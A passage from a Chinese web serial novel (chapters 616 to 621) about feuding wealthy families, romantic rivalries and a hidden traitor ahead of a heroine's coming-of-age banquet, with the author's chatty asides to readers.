“不!不不!”余斯文赶紧纠正她,“这些都不重要,阿笙,你不要太紧张了,这只是一场普通的谈话,爸爸并没有任何责怪你的意思。” 他言语平和,很容易让人放下戒备。 余笙闭了闭眼,有些懊恼,“我不知道我为什么会这样,当我意识到的时候,话已经说出口了。” 余斯文思忖片刻,客观指出,“你讨厌那个叫姜花衫的女孩儿。” 余笙看似平易近人,实则有些孤高,她同情弱者是因为弱者对她没有任何威胁,相反还能衬托她的强大,但若出现了强有力的对手,她第一反应就是抹除,因为她的危机意识和领域意识天生就比普通人更强。 所以余斯文用的是肯定句而非疑问句,因为这是结论而不是讨论。 “可是,为什么?”余斯文略有几分不解。 若是余笙讨厌傅绥尔他还稍微能理解一点,但偏偏是沈家那个养女。 据他所知,那个叫姜花衫的女孩儿除了长的漂亮之外,没有任何一点能威胁余笙,她们俩的人生赛道根本不重合。 余笙愣了愣,脑海中不觉浮现出沈归灵看向姜花衫的眼神。 那眼神明显透着古怪,不清不白,根本不是正常兄妹会有的表情。 但她受过的教育不允许自己犯下因为男人头昏的低级错误。 余笙想了许久,终于找到了为自己开脱的理由:“难道她不讨厌吗?从我们来鲸港,您策划的每一件事几乎都是毁在她的手里。这次也是,要不是为了查出姜花衫背后之人还有谁,J也不会去东湾。现在蔡严接管了东湾,他是沈家的人,这不正好又让沈家打开了东湾的缺口?” 说到这,余斯文头疼病又开始犯了,眼下南湾已经尽在沈家的掌控之中,若是东湾也失守,以后A国政府只怕都要看沈家的脸色了?沈家就是下一个白家。 “父亲,您没事吧?”余笙见余斯文脸色不好,连忙起身给他捏肩。 “没事。”余斯文摆摆手,忽然想起什么,取下眼镜,眸光慎重,“东湾的事只怕还要闹一段时间,那个聊天室你暂时不要进去了,免得让人发现你的身份。” “知道了。”余笙垂眸,轻轻应下。 * 沁园。 花厅外,园丁们正热火朝天在给植物预埋冬肥,厅内,沈娇和沈谦对视而坐相看两厌。 老爷子端着茶盏,轻轻吹着茶汤,撩眼往堂下打量了一眼故作不察,“我刚刚说的你们两个都听见了?怎么说啊?” 沈娇白了沈谦一眼,转头看向沈庄,“爸,那些人是瞎了眼吗?沈归灵就算了,毕竟瑕疵摆在那,但衫衫那么好,她们凭什么孤立她?!您告诉我都有谁,我倒要瞧瞧是哪家教出来的女儿,敢看不起我沈娇的女儿!” 沈谦皱眉,冷冷道,“阿灵哪里有瑕疵了,他这几年为沈家获取的荣耀你们谁能比?我看衫衫才是,一天到晚疯疯癫癫,一点儿女儿家的样子都没有,人家不喜欢也正常。” “你放屁!”沈娇拍案怒起,指着沈谦想骂又有所顾忌,最后只能隔空暗怼:你儿子不知道有多喜欢,连兰晞都不要了! “……”沈谦不知道她发什么疯,只当她是病没好全,懒得搭理转头看向沈庄,“爸,要不您给阿灵也办个生日会吧?” “……” 沈庄还没来得及开口,沈娇捂着嘴笑出了声,“大哥,你该不会是年纪大了脑子不好使了吧?你儿子生日早过了,老爷子还能凭空给他捏造一个生日不成?” 说罢,起身走到沈庄面前,一脸殷勤,“爸,你别理他,衫衫生日宴您尽管办,往大地办,要什么您尽管开口,别说飞机坦克,就是巡海舰我也能弄好给衫衫挂庆生横幅。” “像什么话?!”沈庄眉心跳了跳,没好气搁下茶,“一把年纪了还这么不着调?!” “你要是把巡海舰搬来,军委部和鲸港政府当天就会找上门,生日会还办不办?”沈谦冷冷补刀。 沈娇冷哼了一声,“办!天皇老子来了都得办。” * 新裙已开,宝宝们申请后耐心等待即可,为了照顾不熬夜的学生党,要是明天起来裙满了,我会在中午十二点再开一个~ 最近更新不稳定是因为带孩子出来旅游了,这是我昨天在沙滩写的~ 第616章 ‘沈小姐\’ 清晨,白色的运动鞋踏入草地,带走了映着冬日艳阳的露珠,天刚亮,公园的露台上就已经有不少晨练的身影。 夏星沉提着刚煲好的粥步入门诊厅大楼,上了二楼就到了缴费室。 “五十六号床的病人。” 缴费室的护士接过他的信息单看了一眼,就递了回来,“你的费用已经缴清了。” 夏星沉盯着手里的单子看了一眼,又递了回去,“是不是弄错了?我没有交。” 护士愣了愣,又拿过他手里的缴费单对了一遍,“没有弄错,的确是已经交过了。”说着,忽然想到什么,从桌上的一堆资料里拿出了一册精美的宣传册。 “我们疗养院被沈氏列入了帮扶名单,你奶奶的名额在这次的全免名单中,沈家已经替夏奶奶预缴了一年的疗养费。” 夏奶奶情况特殊,在疗养院已经住了三年了,这三年夏星沉只要有空就会来医院陪奶奶,周围的人都被他的孝心感动对他赞不绝口,所以住院部和门诊室的老员工几乎都知道他。 “沈氏?”夏星沉深邃的眸底闪过一个异样。 护士小姐哪懂夏星沉眼里的弯弯绕绕,以为他不信,便积极解释,“沈氏这次帮扶的对象是那些需要治疗但经济困难的家庭,原本你们并不符合帮扶要求,但昨天沈家小姐亲自来医院视察,巡视到你奶奶的病床时,老人家拉着沈小姐的手一直夸你优秀,说要不是她拖累你,你能有更好的前途。” “你奶奶舍不得你这么辛苦,主动请求沈小姐能不能考察她的情况,沈小姐可真是个大好人,她不仅没有训斥夏奶奶的无礼,反而耐心听奶奶说完了所有的故事,后来,沈小姐作主,把夏奶奶的名单加了上去。” 夏星沉沉默片刻,神情淡然,“沈小姐是沈家那位大小姐吗?” 平头百姓哪知道沈家有几个小姐?护士小姐摇了摇头,“不知道是哪位,只知道叫沈小姐。” “多谢。”夏星沉笑了笑,收好缴费清单转身往楼道走去。 * 疗养院的有AB两个看护区,夏素心所在的B区,几乎都是些生活不能完全自理的老人,夏星沉一路走来,到处都是残缺老人,他早已见怪不怪。 穿过挥发着酒精消毒水的白色走廊,刚走到病房门口,便听见夏奶奶和年轻的护工说话,“那个沈小姐真是个好人。” 护工笑着点头,一边给夏素心换尿袋,一边回道,“是啊,都说千金大小姐架子大,沈小姐一点看不出这些毛病,不像那个什么外国公主,活似个祖宗。不过,说到底还是奶奶您有福气。” 夏素心笑容慈爱,“我哪有什么福气?都是托了我家小沉的福,人家沈小姐说,小沉这么优秀以后一定是栋梁之材,不能让他有后顾之忧。” 夏星沉站在门口久久没有出声,他已经很久没有看见奶奶笑得这么开心了。 夏素心不知想到什么,眯着眼往门口打量,待看见夏星沉就站在门口时,眼里的笑容满是星光,“小沉……” 夏星沉笑了笑,提着饭盒走进病房,“今天气色不错。” “那是因为有好事发生。”护工收拾完东西出去时,还不忘故作神秘朝夏星沉眨了眨眼。 “小沉,你来,奶奶有个好消息跟你分享。”夏素心朝夏星沉招手,急不可待想分享她的好消息。 夏星沉很是配合,挨着夏奶奶坐在床边,“什么好消息?” “昨天沈家来了位小姐,她听说你是医科大学的高材生特别破例给我们免除了一年的疗养费,沈小姐还说,只要我们有需要,每年都可以申请,沈氏会给我们提供帮助。”老人一直在笑,拉着夏星沉的手抖地不像话,“小沉,你以后不用那么辛苦了。” 夏星沉轻轻回握夏素心的手,此刻眼里的温情与那日雨夜击杀姜花衫的冷厉形成了鲜明对比。 他的奶奶老实本份了一辈子,以她的年纪和处境原本可以靠着政府补贴度日,但她却总说这世上可怜人多,总有人比她更需求,于是她宁愿每天起早贪黑去路边卖油饼赚,也不愿意伸手向政府要。 就是这样一个人,竟然会主动向沈家人‘推荐’自己,明明是自己努力改变了这一切,最后还要把功劳归结于他的优秀。 “那真是……太好了。”夏星沉咽下喉间的酸涩,笑着回应。 “是吧?”夏素心的眼里的光越来越亮,碎碎念叨,“听小陈说医学生以后要弄研究很多地方要花钱,你以后也不用担心我了,赚了的钱省些花,以后用钱的地方多。” 从进入疗养院后,夏素心已经很久没有这么开心了,她担心自己会拖累夏星沉,每活一天都觉得罪恶,眼下忽然没了重担,人也变得开朗起来,起码这一刻,夏星沉对于那位沈小姐给夏奶奶带来的心里慰藉是感恩的。 他一边听着夏素心念叨,一边打开饭盒,“给你煲了粥,喝点?” “怎么又是鱼胶?这东西很贵吧?”夏素心一脸心疼。 “不贵,十块钱能买一袋。” “又哄我?” 不怪夏奶奶疑心,主要夏星沉太多前科,上好的人参骗她说是树根,六十万一年的疗养费跟她说医院搞活动促销,第666位入住患者只要愿意配合医院做数据报告,一年治疗费只要600块。 夏奶奶没读过书,也没见过什么世面,每次都被骗得一愣一愣的,尤其为了对得起人家医院600一年的治疗费,所有治疗积极参与不说,就连康复报告都是医生写一份她写一份。 夏星沉一脸真诚,“这次真没说谎。” “你也喝点。”夏素心笑着接过温粥,“小沉,我听沈小姐说,你在的学校也和沈氏有合作?她说一年级能进实验室是十分优秀的人才。” 夏星沉嗯一声,低头喝粥。 夏素心吃了两口,忽然想到什么,放下瓷勺略有些疑惑,“小沉,奶奶年纪大了有件事一直没弄明白,明明大家都叫说来的是沈小姐,怎么‘沈小姐’说她姓傅?” 夏星沉眼里的眸光霎时僵住,脑海中不知怎得浮现出了一张清丽明媚的脸。 * 第617章 你喜欢的是……小花儿 黑色的裙摆缠绕着银白的纱线,如同黑渊海底的鲛人尾,若隐若现的蓝色肩纱如同岸边激涌的浪花,就是这么巧合,这件黑暗色系的礼裙与刚才沈兰晞选中的是同一件。 张茹愣了愣,略有些惊讶看着眼前的礼裙,衣橱里的裙摆少说也有三千件,他们是怎么做到看中同一件的? 负责造型的工作人员也是一脸怔愣,这次生日会的主题是十八岁成人礼,这个年纪的女孩儿还是偏甜美少女一点,这种暗黑色系若穿不出感觉,只会不伦不类上不了台面。 沈归灵自是看出了众人的反应,但他并没有改变主意,将礼裙单独拿出来摆在显眼的衣架上。 “让她试试,看看喜不喜欢?” “我看着不错,让衫衫试试吧。” 沈娇漫步走进菊园,拿起衣架上的礼服仔细看了看,抬眸斜睨了沈归灵一眼,“眼光不错,比你那眼盲父亲好多了。” 这话一语双关,沈归灵听了并未接话,笑着打招呼,“小姑姑。” 沈娇点头,环顾了一圈皱了皱眉,“你们怎么都在院子里站着?衫衫呢?” 张茹正要说话,沈归灵略有担忧往绣楼看了一眼,“她和兰晞哥在上面说话。” “兰晞?!”沈娇转身,略有不满打量沈归灵,“你怎么回事?你……” 沈娇忽然想到什么,憋了一口气,朝沈归灵使了个眼色,转身往主厅走去。 沈归灵沉默片刻跟着进了主厅,刚掩好门,沈娇突然变脸,指着他劈头盖脸一顿臭骂,“你怎么能让衫衫独自去面对兰晞呢?祸是你惹出来的,你让衫衫去承担兰晞的怒火?你就这点能耐?” 若换做旁人,莫名其妙挨顿骂第一反应不是生气就是追问,但沈归灵立马抓住了沈娇话语里的矛盾点,情绪稳定,顺藤摸瓜,“我来的时候,兰晞哥就已经找上衫衫了,并不是我不阻止,是阻止不了。” 沈娇连带看沈兰晞也不顺眼了,“他倒是会卡时机,明明是自己没本事,还敢来找衫衫的麻烦?”说罢又瞥了沈归灵一眼,“你有什么阻止不了的?那日在东湾沈兰晞不是被你一两句话就打发了?我警告你,你和兰晞之间的破事我可以不管,但你要是擦不干净屁股以后就别来招惹小花儿,不然别怪我对你不客气。” 沈归灵,“我和沈兰晞的破事?” 沈娇挑眉,一副我都懒得说的女王范。 “……”沈归灵沉默了许久,抬手捏了捏眉间。 “没话说了?” 沈归灵摇头,“不知道说什么。” 沈娇冷哼了一声,“我该说的都说了,你好自为之。” “小姑姑……”沈归灵抬眸,眸光清澈,“我那日在东湾为了让兰晞哥死心说了一些很伤人的话,原本我只是想让他彻底死心,他现在突然找上门,我担心……” 沈娇脸色微变,隔窗往绣楼看去,“他敢?!” * “怦——怦——怦——” 沈兰晞后背僵直紧紧贴着门页,从姜花衫贴身靠近那一瞬间,他的脑子突然空白,眼前的红唇一张一合说个不停,但他根本不知道她说了什么。 灼热的气息拂过他的脸颊,沈兰晞眼底渐渐泛过幽光,缓缓抬手…… 姜花衫叽叽喳喳说个半天,等了许久也不见沈兰晞有半点反应,终于耐心售罄用力推了沈兰晞一把,“你到底说不说啊,沈兰晞,吊人胃口不说下文屁股长针眼你知不知道?” 萌动的指尖刚拂过她腰身的衣料,就被一道强力猛地掼了出去。 “……”沈兰晞闭了闭眼,指尖动了动又紧紧攥拳。 姜花衫双手抱胸,“怎么?你还想打我?信不信我告诉爷爷让他修理你!” “……”沈兰晞深吸了一口气,缓缓睁眼,“我的确有话和你说。” 姜花衫后退一步,斜睨打量他,“你先说个开头。” 沈兰晞沉默片刻,从口袋里掏出珍藏许久的银色长命锁,“这个……” 姜花衫神情怔愣,脸上满是错愕,“这个长命锁怎么会在你手里?”说着,她一把抢过银锁,拿在手里反复确认。 沈兰晞,“我在襄英的路上捡到的,当时问了武太奶,她说已经送给你了。” 姜花衫皱眉,“你知道是我的为什么一开始不还给我?” 沈兰晞,“中途有几次想换,但……” “借口!”姜花衫盯着他的眼睛细细打量,“五年的时间,你要是想还早就还了。” 沈兰晞没有否认,的确,五年时间除了一开始是因为没有机会,后来都是因为他不想还,因为他们之间除了这把银锁并无任何羁绊,若是把银锁换了,唯一的联系也就断了。 他舍不得。 姜花衫莫名有些烦躁,这把锁是爷爷临终前握在手里的唯一证据,她之前一直想用这个线索找到谁是下毒者,现在这把锁又重新回到她手里,这发展简直细思极恐。 难不成毒杀爷爷真的有她的手笔? 上一世她在爷爷之前并未觉醒,难保不会做出什么有违意愿的事。 但如果真是这样…… 姜花衫紧紧攥紧手里的银锁,如果真是这样,她也不能原谅自己。 沈兰晞察觉到她态度又变得恶劣,眉头微蹙,“你到底……为什么这么讨厌我?” 姜花衫所有的心思都在回忆上一世,冷不丁听见这话,想也没想脱口而出,“那还不是因为你讨厌我!我讨厌我,我就讨厌你!” 沈兰晞从没觉得不被人理解的感觉这么难受,若换作别人,谈话已经结束了,但偏偏是他没辙的人,他只能忍着脾气卑微求证,“我什么时候讨厌你了?” 姜花衫,“什么时候你心里清楚。” “我不清楚!”沈兰晞提高音量,深邃的眸底燃着灼灼烈火。 姜花衫愣了愣,一时没有反应过来。 沈兰晞微抬下巴,向她走近了一步,将近一米九的身高极具压迫感。 “你说,我到底做了什么事让你觉得我讨厌你?哪件事?哪句话?” 姜花衫皱眉,这才发现眼前的沈兰晞有些奇怪,但她一时又说不上是哪奇怪? 沈兰晞垂眸低睨,黑曜的瞳仁敛着幽光,“你难道看不出来吗?我喜……” “砰——” 一声巨响,身后的房门冷不丁被人一脚踹开。 姜花衫吓了一跳,眯着眼往门外张望,待看见是沈娇时暗暗松了口气,还等这口气顺完,一道人影慢慢从沈娇身后走了出来。 “姑姑,您吓着衫衫了。” 姜花衫,“……” 第618章 一网打尽 沈兰晞沉默片刻,慢条斯理反问,“不然您以为是谁?” “我……”沈娇这一口噎得不上不下,抬手捂着额头有些心虚笑了笑。 沈兰晞看在眼里,神情忽动,“您以为我和沈归灵有什么?” 沈娇愣了愣,一脸诧异看着他,这都能猜到?! 沈兰晞扯着嘴角笑得不冷不淡,“您那些乱七八糟的产业还是趁早关了,沈家人里也就您敢这么想了。” 沈娇嘴角抽搐,想端起长辈的身份训斥又有些直不起腰。等回去她一定要把那个蠢货经理炒了,要不是被那蠢货煽风点火,她哪至于像沈谦一样瞎了眼? 歹命啊! 一把年纪了还要被小辈指着鼻子教训,偏偏沈兰晞又有这个权利。 沈娇瞥了他一眼,还是有些不死心,“你……真喜欢小花儿?” 沈兰晞面无表情看着她,“您刚刚要是晚点踹门,也不至于闹这么大的笑话。” “……” 字字不提对她的不满,但句句都是不满,沈娇脸色讪讪,正要解释,忽然想到什么,转眸横睨了沈兰晞一眼,“不是!你喜欢我的女儿,你横什么?小花儿喜欢你吗?” “……”这一问,沈兰晞沉默了。 抓住关键点了!沈娇顿时眼前一亮,立马挺直了腰杆,“兰晞,这就是你的不对了,我好歹是你的长辈,你瞧瞧人家阿灵,他敢这么和我说话吗?得道多助失道寡助这道理你不会不明白吧?” 沈兰晞微微蹙眉,他哪会不知沈娇这是在拿捏他,迟疑片刻还是低头收敛了气势,“姑姑教训的是。” 竟然低头了? 沈兰晞的性子有多倔沈家没有人不知道,哪怕是沈庄也不能压着他的肩膀让他低头。 沈娇心中万分诧异,匪夷所思瞟了他一眼,故作腔调,“别人我不知道,但衫衫我还是有把握的,她心里是有我这个母亲的,我说话还是有分量的,我要是不喜欢谁……” 沈兰晞抬眸,眼里明显多了一丝情绪。 沈娇心知是稳了,抬了抬下巴故意道,“那她肯定也是不喜欢的,所以……” 沈兰晞,“姑姑放心,爷爷永远不会知道您为老不尊。” “……” 沈娇没好气瞪了他一眼,忽然想到什么,翘着兰花指捂着嘴优雅笑出了声,“兰晞啊,你确定不喜欢姑姑‘为老不尊’吗?可是阿灵好像很喜欢啊~”说罢,也不管沈兰晞什么表情,转身窜出了廊庑。 沈兰晞闭了闭眼,回头便看见高止挂在树上,正小心翼翼探出半张脸打量他。 “……”沈兰晞原本不想搭理,忽然想起沈娇说的失道寡助,他身形微顿,侧头看向树上的猴儿,“你想说什么?” 高止满脸恐慌,“少爷,您还是我认识的那个菜鸡吗?还是被沈归灵刺激得黑化了?不确定,验证一下,您九号保险柜的密码是什么?” 竟然敢直接对沈娇摊牌,有点帅是怎么回事? 沈兰晞转身,“滚。” 气成这样也只会骂个‘滚’,果然是如假包换的少爷。 高止立马从树上跳了下来,猛地闪现在沈兰晞耳侧,一脸高冷扶了扶墨镜,“少爷~其实你是喜欢幺小姐为老不尊的吧?只要把受益对象换成您就~好~了~” 沈兰晞,“……” * 沈娇虽然临走时将了沈兰晞一军,但内心其实并不如面上表现得这么轻松。 沈归灵和沈兰晞一个是二房新宠,一个是家族希望,两人同时喜欢上了一个人,这要是被家族知道只怕会以挑拨手足不睦为由把小花儿赶出沈家。 一旦兄弟阋墙,不管是谁的错,最后一定都会归结到女方头上。 沈氏可不止只有鲸港沈家一族,那些老古董要联合起来,就连老爷子都不得不给几分薄面。 沈娇越想越心思越沉,忙不迭加快脚步冲向菊园,这件事她必须要干预了,男人多的是,总不能让衫衫为了一两条鱼栽了跟头。 “衫衫……” 不想,刚推开院门就被眼前的一幕怔住了。 沈清予手里拿着前两人选中的黑色礼裙,随手扔给一旁的造型团队,“不用选了,这件最好。”说罢,转头看向姜花衫,“你要穿这件,珠宝我包了。” “昂。”姜花衫极其敷衍摆了摆手。 沈清予挑眉,走近跟前俯身对着她的额头弹了一空指,伸腿勾住竹椅挨着她坐下。 “想什么呢?” 姜花衫捂着额头瞪了他一眼,侧身坐起,双手托腮,“你真的要去西湾?” “嗯。”沈清予单手托腮,翘着嘴角看着她。 姜花衫皱眉,“什么时候去?” 他眨了眨眼,薄情肆意的眼里藏着明媚的碎光,“等公主过完成人礼。” * (本来想写完的,但是我是自驾游,台风来了,现在连夜跑路,明天给你们补了。) 第619章 影帝 “阿杰?” 少年容貌明媚俊朗,齐耳碎发,发梢微卷,单手拎着一个黑色的运动背包走进出厅,笑得温良无害,“怎么只看见你们,爷爷呢?” 沈谦和沈渊对视了一眼,慢慢站起身。 “老爷子在沁园……” * 菊园。 “什么?阿杰回来了?” 姜花衫和沈娇正在商讨礼服修改的细节,郑松前来报信时,两人的反应截然不同。 沈娇因为被抹除了未央台的相关记忆,所以她隐约只记得自己和谁约好了在未央台见面,但根本想不起‘这个人’是谁。虽然沈澈被沈家除名,但沈亦泽和沈亦杰还是沈家的孩子,沈娇并未迁怒,反而一脸担忧,“只有阿杰吗?阿泽呢?他没有回来吗?” 姜花衫神色淡淡,低头摆弄礼裙的蓝色轻纱。 郑松摇头,“只有阿杰少爷回来了。” 沈娇立马起身,走了两步忽然想到什么回头看向姜花衫,“衫衫,你跟我一块去吗?” “好啊。”姜花衫笑了笑。 一行人刚进跨过沁园的门槛,就看见花厅里乌泱泱坐了一群人,除了沈澈和沈娥,其余人都到齐了。 姜花衫情绪淡淡,这一路她一直偷偷观察沈娇的反应,她好似是真的一点记忆都没有了,她原本想告诉沈娇真相,但她左思右想后又不敢冒险,生怕触及规则会让沈娇遭到反噬。 就是这片刻的功夫,沈娇已经急不可耐冲向花厅。 沈亦杰此时正跪在堂前,双手伏地对着沈庄磕了三个响头。 沈庄神情悲凉,亲自起身搀扶,“你这是做什么?爷爷方才已经把话说的很清楚了,你父亲是你父亲,只要你和阿泽不怨恨爷爷狠心,沈园永远都是你们的家。” 沈亦杰垂眸,神情低落,“哥哥听说了爸爸所为觉得有愧爷爷栽培,所以自觉没脸回来见您,我厚着脸皮回来,是想看看姑姑……” “阿杰。”沈娇步入花厅时正好看见眼前这一幕,不由心软出声。 沈亦杰微愣,待看见沈娇时满脸愧疚,轻轻推开沈庄对着沈娇扑通跪下。 沈娇皱眉,冷着脸,“我又没死,你跪什么跪?起来!” 沈让心知沈娇是一番好意,连忙起身打圆场,“阿杰,快起来,大家都是一家人你这么做可就生份了。” 姜花衫伸着脖子看了一眼,撇了撇嘴,转头便看见沈兰晞和沈归灵都看着她,她立马收拢嘴角,往傅绥尔身边蹭了蹭。 傅绥尔早有准备挪了一个空位。 姜花衫蹭得一下入座,眯着眼打量堂下推搡的几人,“这演的是哪出啊?” 傅绥尔只知道未央台有沈澈和周家人算计的手笔,并不知道眼前沈亦杰也是真相之一,所以对待这位表兄还算宽和。 “阿泽哥和阿杰哥看见了四舅舅被除族的报刊,两人质问四舅舅,四舅舅不愿说,阿杰哥就从部队跑回来了。刚刚爷爷也把四舅舅这些年做的坏事都告诉阿杰哥了,他自觉对不起爷爷,对不起我妈,所以就这样了……” 啧,影帝。 姜花衫低头看指尖,一副兴趣缺缺的模样。 “姑姑,您没事了吧?”沈亦杰极为不放心盯着沈娇打量,“爷爷说您被药性伤了脑神经,事发时的许多事都不记得了?是真的吗?” 姜花衫挑眉,抬手托腮盯着沈亦杰上下打量。 就说好好的怎么敢找上门,原来是想来亲自试探沈娇,但是还真是够大?难怪能当这么久的内鬼。 沈亦杰一直能察觉到有束不善的目光盯着他,就算不回头他也能猜到这束目光来自于谁,他微微收拢指尖,极力压制着内心的暴虐,用力咬着舌尖,这模样落在不知情的人眼中似是有天大的委屈。 沈娇轻叹了一声轻轻拍了拍沈亦杰的肩膀,“你起来吧,有些事我的确已经想不起来了,不过身体恢复地很好,现在也没什么大碍了。” 沈亦杰暗暗松了口气,“那就好。” 正要起身,人群里忽然响起一道懒洋洋的女音,“好什么好?你父亲勾结外人谋害我母亲,没死是我母亲命大,你以为演个苦肉计跪一跪就完了?” 这话一出,所有人都变了脸,不约而同看向始作俑者。 傅绥尔愣了愣,反应过来时发现大家的目光都看了过来,犹豫片刻她没有转头,一把挽主姜花衫的胳膊挺直了腰杆。 沈娇是个护犊子的人,不管怎么样,沈亦杰和沈亦杰都是三房的孩子,这话若是换作别人她定然会替沈亦杰出头,但偏偏是姜花衫和傅绥尔,她总不能清咳了一声,朝两人使了个适可而止的眼神。 沈亦杰缓缓抬眸,目光平静扫过傅绥尔后无声落在了姜花衫的脸上。 姜花衫当然知道他在想什么,冲他露了个无辜的甜笑,“阿杰哥,你别怪我说话难听,都说父子连心,你爸爸都被赶出沈家了,你真的一点都不恨爷爷和我们吗?” 沈归灵眼眸微动,转眸审视起沈亦杰。 沈谦和沈渊原本默默对视了一眼,生怕泄露了眼里的窃喜立马转向别处。 不愧是专门惹是生非的祸坨子,还真是无差别攻击任何人,最好三房因为沈娇的事打起来闹掰了才好。 沈亦杰努力控制脸上的神情,转头看向沈庄。 他已经察觉到了,在场所有人包括沈庄在内,对姜花衫的态度尤其纵容。 沈庄清咳了一声,“小花儿,爷爷刚刚都说了,一码归一码,阿杰好不容易回来一趟,好好说话。” “哦。”姜花衫转过头,“我跟想杀我母亲的人……” 沈亦杰眉心跳了跳,眸底沉下一片暗光。 “的……儿子没什么好说的。爷爷,母亲不计较是她大度,我是小孩子,我一向小肚鸡肠,您是知道的。” 沈亦杰垂眸,掩下了方才几乎要控制不住的杀意。 沈兰晞掀眸一眼,低头喝茶。 傅绥尔和沈眠枝同时抬眸,看了沈亦杰一眼又若无其事看向别处,这已经是她们出生入死后特有的默契了,姜花衫不会刻意去讨厌谁,一旦她有针对讨厌这个人,这个人就一定有猫腻。 所以,沈亦杰有猫腻。 若换作别人,敢当着这么多人的面这么跟沈庄顶嘴早被轰出去了,但姜花衫一向有特权,佯装没听见不仅一句没舍得训,反而转头叮嘱沈亦杰,“阿杰,你别在意,小花儿没什么坏心思,她……今天就是心情不好,你做哥哥的没事多避着点妹妹,凡事别忘心里去啊?” “……”沈亦杰抿嘴笑了笑,“放心吧爷爷。” …… 第620章 塑料师兄弟 最终,沈亦杰被留在了沈园,暂时住在秋园。 秋园因着沈执一事早已焕然如新,之前的莲池都已经填平换成了颇有禅意的园景。 沈亦杰没什么行李,阿姨简单收拾了一番小心招呼,“阿泽少爷,东西都备好了,您要还缺什么尽管吩咐。” “嗯。” 沈亦杰淡淡应了一声抬眸看向不远处的夏园。 因着姜花衫的生日宴马上就要到了,沈园的安防比平时更严密,夏园门外几乎每十步就有一个保镖站岗。 沈亦杰不由有些好奇,“什么人住在哪?” 沈园的秘密哪能随便说,阿姨连忙摇头。 沈亦杰收回目光,转身打量身后的秋园,“你去忙吧。” “是。”阿姨应下,立马跑去厨房准备吃食。 沈亦杰漫无目的沿着廊庑转了一圈,一手反撑着栏杆,一手拿出手机。 指尖随意点了点,便跳转进来聊天室,随意翻看记录发现所有人都共享了自己的地位。 他仔细翻找了一圈,发现7个成员有两个定位在S国,其余的全在A国,他进组织的时间早,很多成员都已经见过面了,所以对捂马甲这种事完全不在意,定好位随手便发了出去。 很快,聊天室里就有人回话了。 -【S:你在沈园?你是沈家人?】 沈亦杰完全没有搭理的意思,直接艾特管理员:【J:我可以杀了姜花衫吗?】 -【管理员:不要乱来,别忘了你此行的目的。】 -【Z:要不解散吧,反杀还可能其他人也会被暴露,当初我加入你们可没说这是个智障组织。】 -【管理员禁言Z】 -【Z退出聊天室。】 沈亦杰闭了闭眼,按灭了屏幕。 * 周公馆。 “岂有此理!” 周元义骂骂咧咧推门而入,“沈家人还真不是个东西。” 周国潮正低头和周元白说话,听了这话冷着脸抬头训斥,“毛毛躁躁像什么样子?” 周宴珩收了手机,笑着帮周元义打圆场,“小叔,那些人又跟你抱怨了?” 周元义点头,略有些忌惮看了周国潮一眼,“爸,这都来了多少了人,不就是一个小丫头片子的生日宴吗?他们没收到请帖一个个至于这么慌神吗?咱们不是也没收到吗?” 周元白多少有些无奈,“沈家就用一张请帖就把鲸港的权贵分出了三六九等,不正说明了沈家的影响力吗?” 若是沈家没有划分等级的公信力,大家又怎么会反应这么大? 周元义有些不服气,“凭什么他沈家的宴会就是权贵顶流,爸,咱们也可以办一个啊?总统和好几位新贵高权都没有收到邀请,咱们正要可以借此机会把大家团结在一起。” 周国潮面无表情,“你以为到了那天,沈家还会给你同台打擂的机会?” …… * 入夜,沈归灵靠在窗台,一边看着菊园的风景一边给脚下的树苗浇水。 莫然拎着公文包推门而入,双手递上提前准备好的资料,“少爷,这是阿泽少年在北海特种队服役期间的可查资料。” 沈归灵放下水壶,“可查资料?” 莫然有些惭愧,“以我现在的渠道网能查到的就这些了,但……数据皆可作假。” 沈归灵自然明白这话的深意,点了点头,“辛苦了。” 说罢转头看了一圈,“雷行呢?” 莫然这才反应过来少了一个人,自从她踩了雷行一脚他就离奇消失了,不是还在生气吧? 同事之间的关系也会影响老板对她的影响,莫然犹豫片刻,主动请缨,“我去找。” 沈归灵其实并不在意,但莫然已经转身出了院子,四下无人,沈归灵沉默片刻,也出了院子 第621章 避其锋芒 周公馆。 “岂有此理!”周元义骂骂咧咧推门而入,“沈家人还真不是个东西,A国是总统制又不是君主制,真以为自己一张请帖就能把其他人踢出名利圈?也不怕树大招风被反噬?!” 周国潮正低头和周元白说话,听了这话冷着脸抬头训斥,“这些话是谁教你的?” 周元义愣了愣,略有些忌惮缩了缩脖子,“现在大家都这么说,沈庄大张旗鼓给一个小丫头片子过生辰宴,不仅踢开了鲸港许多老牌新贵,还特意从东南西北四湾邀请了各州的权贵高官,您说沈家到底想干什么?” 周国潮冷哼,“他沈庄下什么棋哪是你能揣摩的?把嘴给我闭上,别怪我没提醒你们,谁要再敢跟老二一样自作聪明给周家埋雷我绝不轻饶。” 周宴珩收了手机,抬眸看了周国潮一眼,笑着打圆场,“您别生气,小叔叔也是替咱们周家不值,但您放心,我们轻重还是分得清的。” 两年前,鲸港势力大洗牌,傅家被挤出了鲸港圈直接从顶层除名,现在的鲸港势力划分以沈、周、苏三家老派贵族门庭为首,顾、关、乔、姚、萧五贵则稳居第二梯队,值得一提的是,因为余斯文连任成功,余家隐隐有了后来居上的趋势。 这次沈家直接把周家、关家、顾家和余家以及连同依附他们的势力全都踢出交际圈,以一族之力挑衅半个鲸港势力,已经引起了很多依附势力的恐慌,下面的人都在抬头观望,周家会如何反击? 越是这个时候,周家就越要沉住气,总不能别人一说不带你玩了,你就直接跳脚,那岂不是恰恰就说明了那个别人有多权威? 只可惜,周元义并不懂周宴珩话里的深意,听了这话还以为周宴珩是赞同自己的想法,立马点头附和,“是啊吧,我就是替我们周家不值!凭什么他沈家的宴会就是权贵顶流?谁规定了?爸,要不咱们也可以办一个啊?总统和好几位新贵高权都没有收到邀请,咱们正要可以借此机会把大家团结在一起。” 周宴珩挑眉,扯着嘴笑了笑,又继续拿出手机玩游戏。 周元白看出周国潮隐隐有动怒的前兆,轻咳了一声,“不年不节的突然弄个宴会只怕不适宜。” “怎么不合时宜?”周元义忽然想到几天前,那些没收到请帖的人给他出的主意,“咱爸的生日不是快到了吗?咱们可以给爸办个寿宴,到时候……” 话没说完,周国潮端起手里的茶盏对着周元义的脸砸过去。 “啊!”周元义惨叫了一声,滚烫的茶水差点把他的眼睛烫瞎,“爸你……” 蓦地,他的话卡在咽喉发不出半点声音。 周国潮脸色阴沉,冷厉的眼里丝毫不掩饰对他的厌恶,“你是不是忘了,周家还在丧期内,你女儿尸骨未寒?!” 周元义眸色霎时黯淡,捂着发红的脸一句话都说不出。 周元白连忙安抚,“爸,您消消气,担心身子。” 周宴珩指尖微顿,略有些惊讶看了周国潮一眼。 